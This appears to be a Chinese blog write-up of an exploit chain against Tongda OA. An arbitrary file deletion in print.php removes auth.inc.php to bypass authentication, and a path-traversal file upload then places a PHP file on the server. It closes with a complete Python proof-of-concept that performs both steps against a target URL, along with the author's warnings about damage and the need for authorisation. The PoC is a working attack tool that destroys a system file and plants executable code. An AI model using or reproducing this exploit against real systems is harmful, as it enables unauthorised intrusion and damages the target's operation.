该漏洞需要结合任意文件删除以及文件上传漏洞进行配合
任意文件删除漏洞
首先漏洞是在/module/appbuilder/assets/print.php
能将传入的guid传入的文件删除
身份绕过
删文件某些时候可以删除一些认证的文件,进行文件的绕过
这里呢,简单来讲就是把auth.inc.php给包含进来,如果没有对应session的话,auth.inc.php就会作为“拦路虎”,让用户去登陆,但是删掉会怎么样?
这里就要看php里面include和require的区别了
这两个东西看起来很相似,都是包含嘛,但是稍稍学过洋文的都知道,include的意思指的是包含,而require却有要求的意思,在这里就可以看出点区别了。
如果要包含的文件找不着,include就索性跳过去了,而require是要求,感觉更加强烈一些,找不着文件就fatal error停止不前了。
而恰巧通达OA里面用的都是include,于是如果发现auth.inc.php失踪了,就会直接跳过去!
因此我们只需要利用前面的漏洞,删掉auth.inc.php,即可跳过通达OA里面大部分身份验证!
其中的代码验证SESSION判断是否登录
变量覆盖和任意文件上传
这里我们看到general/data_center/utils/upload.php
这前面包含的header.inc.php会将$_REQUEST中的所有东西注册成变量
(没找到大佬说的位置)
可以尝试使用变量覆盖
漏洞点在图中最后一个else
$repkid可控,然后传参数时加入../../../跳到别的目录(因为通达OA的nginx配置中,上传文件所在的attachment目录里面的PHP不准访问,因此必须要跳出去)
POC如下:
1 |
本POC不是无损利用的,会让对方系统文件被删除导致无法正常工作并且由于目标系统及网络环境不可控,该漏洞也不可能编写出在任何情况下都完全无损的EXP使用时请一定一定要慎重,一定要获取对方书面授权再使用如果仅仅想要检测漏洞的存在性,可以自己编写脚本只检测/module/appbuilder/assets/print.php是否存在 import requeststarget="http://127.0.0.1:8203/"payload="<?php echo 123456 ?>"print("[*]Warning,This exploit code will DELETE auth.inc.php which may damage the OA")input("Press enter to continue")print("[*]Deleting auth.inc.php....") url=target+"/module/appbuilder/assets/print.php?guid=../../../webroot/inc/auth.inc.php"requests.get(url=url)print("[*]Checking if file deleted...")url=target+"/inc/auth.inc.php"page=requests.get(url=url).textif 'No input file specified.' not in page: print("[-]Failed to deleted auth.inc.php") exit(-1)print("[+]Successfully deleted auth.inc.php!")print("[*]Uploading payload...")url=target+"/general/data_center/utils/upload.php?action=upload&filetype=nmsl&repkid=/.<>./.<>./.<>./"files = {'FILE1': ('hack.php', payload)}requests.post(url=url,files=files)url=target+"/_hack.php"page=requests.get(url=url).textif 'No input file specified.' not in page: print("[+]Filed Uploaded Successfully") print("[+]URL:",url)else: print("[-]Failed to upload file") |
FROM :b0urne.top | Author:b0urne
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论